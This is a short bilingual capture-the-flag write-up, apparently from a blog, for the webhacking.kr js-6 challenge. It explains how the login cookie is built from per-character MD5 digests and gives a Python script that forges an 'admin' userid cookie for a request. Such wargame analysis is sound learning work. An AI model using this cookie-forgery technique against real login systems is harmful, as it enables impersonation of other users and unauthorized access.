Challenge
Reconstruct the per-character MD5 cookie used by the login check.
重建登录校验使用的逐字符 MD5 Cookie。
1
| https://webhacking.kr/challenge/js-6/
|
Analysis
服务端把 userid Cookie 解码后按以下规则生成:对 id
的每个字符单独计算 MD5,保留小写 hex
digest,按原顺序拼接,最后对整个拼接字符串做 Base64 编码。Cookie
传输层还要对 Base64 结果做 URL 编码,因为结尾通常含有
=。
这不是 md5("admin"):每个字符的 digest
都必须独立计算,目标字符串的 digest 数量等于字符数量。
Solution
下面的脚本完整构造带 userid Cookie 的 GET
请求,不发送请求,也不依赖现有 session:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import base64 import hashlib from urllib.request import Request
URL = "https://webhacking.kr/challenge/js-6/"
def build_userid_cookie(user_id): digests = [hashlib.md5(char.encode("utf-8")).hexdigest() for char in user_id] raw_value = "".join(digests).encode("ascii") base64_value = base64.b64encode(raw_value).decode("ascii") return base64_value
def build_request(user_id): cookie_value = build_userid_cookie(user_id) return Request( URL, headers={"Cookie": f"userid={cookie_value}"}, method="GET", )
if __name__ == "__main__": request = build_request("admin") print(request.full_url) print(request.get_header("Cookie"))
|
先生成 Cookie,再把它放进后续页面请求;不需要把 admin
提交到题面的输入框。